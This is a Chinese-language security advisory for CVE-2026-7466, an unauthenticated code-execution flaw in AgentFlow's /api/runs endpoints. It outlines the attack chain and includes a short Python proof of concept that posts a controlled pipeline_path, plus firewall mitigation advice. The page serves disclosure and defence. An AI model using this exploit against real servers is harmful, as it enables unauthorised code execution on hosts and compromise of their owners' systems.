IPBUF安全漏洞报告
English
CVE-2026-7466 CVSS 8.8 高危

CVE-2026-7466 AgentFlow 任意代码执行漏洞

披露日期: 2026-04-29

漏洞信息

漏洞编号
CVE-2026-7466
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
AgentFlow

相关标签

RCEAgentFlow代码执行CVE-2026-7466

漏洞概述

AgentFlow存在任意代码执行漏洞。由于缺乏对参数的严格校验,攻击者可诱导请求向/api/runs端点提供受控的pipeline_path参数,致使服务器加载并执行本地Python管道文件,最终在AgentFlow用户上下文中实现任意代码执行。

技术细节

该漏洞的根本原因是AgentFlow在处理用户请求时,未对pipeline_path参数进行有效的安全校验,导致存在路径控制风险。攻击者可以通过向POST /api/runs及POST /api/runs/validate等API端点发送恶意构造的POST请求,利用pipeline_path参数指定服务器本地文件系统中存在的Python管道文件路径。当AgentFlow服务端接收到该请求后,会直接读取并执行该路径下的Python代码,从而允许攻击者在未经过身份认证的情况下,利用服务器上已有的脚本资源实现远程代码执行。这种利用方式使得攻击者能够以运行AgentFlow服务的用户权限执行任意系统命令,完全危及主机安全。

攻击链分析

STEP 1
侦察
攻击者识别互联网上暴露的AgentFlow服务实例。
STEP 2
利用
攻击者向POST /api/runs或POST /api/runs/validate端点发送特制的HTTP POST请求,在pipeline_path参数中指定服务器上存在的Python文件路径。
STEP 3
执行
AgentFlow服务端接收请求,未经验证直接读取并执行指定的Python文件。
STEP 4
控制
攻击者成功获取服务器权限,以运行AgentFlow的用户身份执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_host = "http://127.0.0.1:8000" endpoint = "/api/runs" url = target_host + endpoint # Attacker controls the pipeline_path to point to an existing Python file # Replace with a valid path on the target server data = { "pipeline_path": "/opt/agentflow/pipelines/default_pipeline.py" } # Send the malicious request # No authentication required based on the CVE description try: response = requests.post(url, json=data) if response.status_code == 200: print("[+] Request sent successfully. Code execution likely triggered.") print("[+] Response:", response.text) else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

影响范围

AgentFlow (所有在 GitHub PR #18 修复之前的版本)

防御指南

临时缓解措施
建议立即检查AgentFlow服务器的访问日志,排查是否存在异常的API调用。在未修复前,可通过防火墙限制对AgentFlow API端口的访问,仅允许可信的内网IP访问,或者暂停受影响端点的服务直至补丁应用完毕。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表